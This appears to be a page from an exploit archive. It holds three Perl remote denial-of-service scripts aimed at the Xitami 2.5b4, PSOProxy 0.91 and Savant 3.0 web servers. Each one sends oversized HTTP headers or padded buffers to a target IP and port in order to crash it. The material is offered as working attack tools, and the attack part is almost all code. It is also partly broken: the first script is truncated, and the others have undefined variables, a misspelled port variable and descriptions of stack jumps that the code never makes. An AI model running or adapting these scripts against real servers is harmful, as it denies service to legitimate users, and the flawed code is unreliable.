print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

    $exploit  = "A"*939;

if ($socket = IO::Socket::INET->new  
   (PeerAddr => $ip,  
   PeerPort => $port,   
   Proto => "TCP"))

       {   
    $header =  
    "GET / HTTP/1.1\r\n".  
    "Host: ".$target." \r\n".  
    "If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n";

    print $socket $header."\r\n";  
    sleep(1);  
    close($socket);  
    }

else  
  {  
  print "[-] Connection to $target failed!\n";  
  } 

            print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

     _________  
    |         |  
    | Exploit |==( )    //////  
    |_________|   |||   | o o|                   
                    ||| ( c  )                  ____  
                     ||| \= /                  ||   \_  
                      ||||||                   ||     |  
                      ||||||                ...||__/|-"  
                      ||||||             __|________|__  
                        |||             |______________|  
                        |||             || ||      || ||  
                        |||             || ||      || ||  
      ------------|||-------------||-||------||-||-------  
                        |__>            || ||      || ||          

                              [+] Xitami 2.5b4 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

Xitami 2.5b4 Denial Of Service

PSOProxy version 0.91 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSOProxy 0.91 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 28 january 2024  
# Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/latest/download  
# Download to demo: https://drive.google.com/file/d/1O8Q2d0muet6XuOhqwXuvT3qfzgGNk6vs/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: PSOProxy 0.91  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=ALe3uFS4cUA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to web server.  
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

print "\t    ==> Connecting to webserver... \n\n";  
sleep(1);

my $i=0;  
    print "\t    ==> Exploiting... \n\n";

$socket = IO::Socket::INET->new  
     (PeerAddr => $ip,  
      PeerPort => $port,  
      Proto => "tcp")  
{  
        $header =  
        "GET / HTTP/1.1\r\n".  
        "Host: ".$ip." \r\n".  
        "Connection:".$exploit."\r\n";

        print $socket $header."\r\n";  
        sleep(1);  
        close($socket);  
}

 else  
{  
    print "[-] Connection to $target failed!\n";  
    exit;  
}

print "\t    ==> Done! Exploited!";  
   sub intro {  
      print q {

                              ,--,  
                       _ ___/ /\|  
                   ,;'( )__, )  ~  
                  //  //   '--;   
                  '   \     | ^  
                       ^    ^

      [+] PSOProxy 0.91 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "\n\tUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

#3. Solution/ How to fix:

# This version product is deprecated

PSOProxy 0.91 Denial Of Service

Savant version 3.0 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: Savant 3.0 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 27 january 2024  
#https://sourceforge.net/projects/savant/files/Savant/3.0/Savant30.exe/download  
# Download to demo: https://drive.google.com/file/d/18m_wzC8EOSB8lHPc1DexpOfsDm7H8RFs/view?usp=sharing      
# Notification vendor: No reported  
# Tested Version: Savant 3.0 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The web server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $sc = "\x90" x 245;

    my $buf = "\x41\x41" . " /" . $sc."\r\n\r\n";

my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $por, Proto => 'tcp') or exit;  
$s->send($buf);  
close $s;

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print q {

                            _/|       
                           // o\      
                           || ._)    
                           //__\     
                           )___(   

      [+] Savant 3.0 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

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